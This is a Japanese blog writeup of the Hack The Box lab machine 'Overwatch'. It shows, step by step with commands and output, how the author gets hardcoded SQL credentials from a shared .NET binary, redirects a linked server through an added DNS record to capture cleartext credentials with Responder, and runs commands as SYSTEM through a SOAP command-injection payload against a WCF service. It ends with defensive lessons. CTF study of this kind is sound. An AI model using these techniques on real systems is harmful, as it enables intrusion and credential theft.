Hack The BoxのWriteup(Overwatch)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告


HackTheBox: Overwatch — .NET バイナリ逆算 → MSSQL 連携サーバ DNS リダイレクト → WCF RCE

ポートスキャン

bash nmap
nmap -sV -sC -p- 10.129.244.81 –min-rate 5000
PORT STATE SERVICE VERSION 445/tcp open netbios-ssn Windows SMB 3389/tcp open ms-wbt-server RDP 5985/tcp open wsman WinRM 6520/tcp open sqlserver MSSQL 2022 Express
📌 ポイント

SMB (445) + WinRM (5985) + MSSQL 非標準ポート (6520) が同時に開いている。Windows ドメインコントローラの特性。

SMB 匿名ゲスト列挙

bash smbclient anonymous
smbclient -L 10.129.244.81 -N
Sharename Type Comment ——— —- ——- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC software Disk
🔍 調査

software 共有が列挙可能。匿名でアクセスできるか試行。

software 共有の内容確認

bash smbclient access
smbclient //10.129.244.81/software -N
smb: \> dir . D 0 Fri Jun 27 00:00:00 2026 .. D 0 Fri Jun 27 00:00:00 2026 Monitoring D 0 Fri Jun 27 00:45:22 2026 smb: \Monitoring> dir overwatch.exe A 9728 Fri Jun 27 00:45:12 2026 overwatch.exe.config A 850 Fri Jun 27 00:45:12 2026 overwatch.pdb A 98304 Fri Jun 27 00:45:12 2026
✨ 発見

.NET バイナリ overwatch.exe と PDB (デバッグシンボル) を発見。このシンボルから開発パスやハードコード情報が漏えい可能。

バイナリダウンロードとバイナリ分析

bash バイナリのダウンロード
cd ~/htb-10_129_244_81/loot/monitoring/ get overwatch.exe overwatch.exe get overwatch.exe.config overwatch.exe.config get overwatch.pdb overwatch.pdb
bash 文字列抽出で認証情報を発掘
strings -n 5 overwatch.exe | grep -i “password\|user\|server\|database”
Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;
http://overwatch.htb:8000/MonitorService
Stop-Process -Name CheckEdgeHistory

💎 取得認証情報

sqlsvc : TI0LKcfHzZw1Vv
Phase 2

MSSQL 侵入 — 連携サーバ SQL07 を列挙

MSSQL への接続確認

bash netexec mssql
netexec mssql 10.129.244.81:6520 -u sqlsvc -p ‘TI0LKcfHzZw1Vv’ -windows-auth
[+] MSSQL Instance: 10.129.244.81:6520 [+] Windows auth successful: OVERWATCH\sqlsvc
📌 重要

接続文字列は SQL 認証形式だが、実際は Windows 認証 OVERWATCH\sqlsvc でアクセス可能。

linked server 列挙

python3 pymssql で連携サーバを確認
import pymssql conn = pymssql.connect(server=’10.129.244.81′, port=6520, user=’OVERWATCH\\sqlsvc’, password=’TI0LKcfHzZw1Vv’, database=’master’, timeout=30) cur = conn.cursor() cur.execute(“SELECT name, product, provider, data_source FROM sys.servers WHERE is_linked = 1”) for row in cur.fetchall(): print(row)
(‘SQL07’, ‘SQL Server’, ‘SQLNCLI’, ‘SQL07’)
🎯 発見

Linked server SQL07 が設定されている。SQLNCLI provider で SQL Server に接続。認証情報は事前に登録されているはず。

Phase 3

DNS リダイレクト攻撃 — Responder で cleartext 認証情報を取得

bloodyAD で DNS レコードを追加

bash bloodyAD add dnsRecord
bloodyAD –host S200401.overwatch.htb -d overwatch.htb \ -u sqlsvc -p ‘TI0LKcfHzZw1Vv’ \ add dnsRecord SQL07 10.10.15.201
[+] SQL07 has been successfully added
💡 手法解説

sqlsvc は AD で DNS レコード作成権限を持つ。SQL07 ホスト名を攻撃者 IP に向ける。

Responder で MSSQL をリッスン

bash Responder 起動
sudo python3 /usr/share/responder/Responder.py -I tun0
[*] Started listening on 10.10.15.201:1433 (MSSQL)
📡 背景

Responder が MSSQL (port 1433) をリッスンしている状態で、SQL07 への接続を試みると、認証情報が cleartext で送信される。

Linked server 接続をトリガー

python3 SQL07 に接続を試みる
import pymssql, time conn = pymssql.connect(server=’10.129.244.81′, port=6520, user=’OVERWATCH\\sqlsvc’, password=’TI0LKcfHzZw1Vv’, database=’master’, timeout=60) cur = conn.cursor() try: cur.execute(“EXEC (‘SELECT 1’) AT [SQL07]”) except: pass # Expected timeout time.sleep(5) # Wait for Responder capture conn.close()
✨ 結果

SQL Server が SQL07 に接続しようとし、Responder が MSSQL login パケットをキャプチャ。

Responder ログから認証情報を抽出

bash ログ確認
cat /usr/share/responder/logs/Responder-Session.log | grep -A 5 “MSSQL”
[MSSQL] Cleartext Client : 10.129.244.81 [MSSQL] Cleartext Hostname : SQL07 () [MSSQL] Cleartext Username : sqlmgmt [MSSQL] Cleartext Password : bIhBbzMMnB82yx

💎 取得認証情報

sqlmgmt : bIhBbzMMnB82yx
Phase 4

WinRM アクセス → user.txt 取得

WinRM 接続確認

bash netexec winrm
netexec winrm 10.129.244.81 -u sqlmgmt -p ‘bIhBbzMMnB82yx’ -d overwatch.htb
[+] overwatch.htb\sqlmgmt:bIhBbzMMnB82yx (Pwn3d!)
🔑 意味

Pwn3d! = sqlmgmt は WinRM にアクセス可能で、ローカル管理者権限を持つ可能性がある。

evil-winrm で WinRM シェル接続

bash evil-winrm
evil-winrm -i 10.129.244.81 -u sqlmgmt -p ‘bIhBbzMMnB82yx’
*Evil-WinRM* PS C:\Users\sqlmgmt\Documents> whoami overwatch\sqlmgmt

user.txt 取得

powershell ファイル読み込み
Get-Content C:\Users\sqlmgmt\Desktop\user.txt

🚩 user.txt

5c4872aa0fa60caacbe99d70a75659cc
Phase 5

WCF KillProcess 注入 → SYSTEM として code execution → root.txt

WCF サービス (localhost:8000) の確認

🏗️ バックグラウンド

overwatch.exe は NSSM (Non-Sucking Service Manager) で SYSTEM ユーザとして起動されており、WCF エンドポイント http://localhost:8000/MonitorService をリッスンしている。

powershell WCF 接続テスト
Invoke-WebRequest -Uri “http://localhost:8000/MonitorService” -TimeoutSec 5

WCF KillProcess メソッドへの SOAP 注入

⚠️ 3つの落とし穴と回避策

① heredoc 禁止: PowerShell の here-string (@"..."@) は netexec winrm -X 経由で改行・引用符が壊れる → 文字列結合の一行方式を使う。
② SOAPAction のクォート: $wc.Headers.Add("SOAPAction","\"http://...\"") は PS が \" をエスケープシーケンスと解釈できずエラー → 内側をシングルクォート '\"http://...\"' で囲む。
③ 出力先パス: C:\Windows\Temp\ は ACL 設定によって SYSTEM でも書き込みが失敗する場合がある → C:\ProgramData\ を使う (SYSTEM 常時書き込み可、sqlmgmt も読み取り可)。

powershell SOAP ペイロード構築と送信 (WebClient 単行方式)
# SOAP XML を文字列結合で一行構築 (heredoc @”…”@ を避ける) # 出力先は C:\ProgramData\ — SYSTEM 書き込み可、sqlmgmt 読み取り可 $ps_cmd = ‘Get-Content C:\Users\Administrator\Desktop\root.txt | Out-File C:\ProgramData\rf.txt -Force -Encoding ASCII’ $soap = ‘<?xml version=”1.0″ encoding=”UTF-8″?>’ + ‘<s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/”>’ + ‘<s:Body><KillProcess xmlns=”http://tempuri.org/”>’ + “<processName>x; $ps_cmd; #</processName>” + ‘</KillProcess></s:Body></s:Envelope>’ # WebClient で POST — SOAPAction は内側シングルクォートで literal ” を包む $wc = New-Object System.Net.WebClient $wc.Headers.Add(‘Content-Type’, ‘text/xml; charset=utf-8’) $wc.Headers.Add(‘SOAPAction’, ‘”http://tempuri.org/IMonitoringService/KillProcess”‘) try { $wc.UploadString(‘http://localhost:8000/MonitorService/’, ‘POST’, $soap) } catch { $_.Exception.Message }
💣 ペイロード解説

WCF の KillProcess("processName") メソッドは内部で
Stop-Process -Name <processName> -Force
と実行する。セミコロンで区切ったコマンドが連鎖実行される (x; CMD; # パターン)。SYSTEM ユーザ権限で実行。

root.txt 取得

powershell SYSTEM が書き込んだファイルを読み込む
Get-Content C:\ProgramData\rf.txt

🚩 root.txt

0e6c769d2ccabbe43eb1da32b8c5f226
Summary

全体まとめと防御側の学び

攻撃チェーンの全体像

段階 使った脆弱性 取得したもの
1 SMB 匿名 + バイナリ逆算 sqlsvc:TI0LKcfHzZw1Vv
2 MSSQL Linked server 設定 SQL07 host 列挙
3 AD DNS CREATE_CHILD + Responder sqlmgmt:bIhBbzMMnB82yx (cleartext)
4 WCF KillProcess PowerShell injection SYSTEM RCE → root.txt

防御側の学び

  • SMB 共有の厳格化: overwatch.exe など機密バイナリを SMB 共有に置かない。必要な場合は RBAC で制限する。
  • ハードコード認証情報の排除: バイナリに connection string を埋め込まない。環境変数・機密管理システムを使用。
  • AD DNS セキュリティ: 誰でも DNS レコードを追加できる設定は危険。DNS ダイナミック更新を制限する。
  • Linked server 認証: Linked server の認証情報を暗号化・監査ログで追跡。不要な外部接続を削除。
  • WCF サービスの入力検証: ProcessName など外部入力を PowerShell に直接渡さない。ホワイトリスト方式の検証を必須に。

このレポートは Hack The Box の授権済み CTF 環境を対象にした学習用資料です。実環境への無断アクセスや悪用は禁止されています。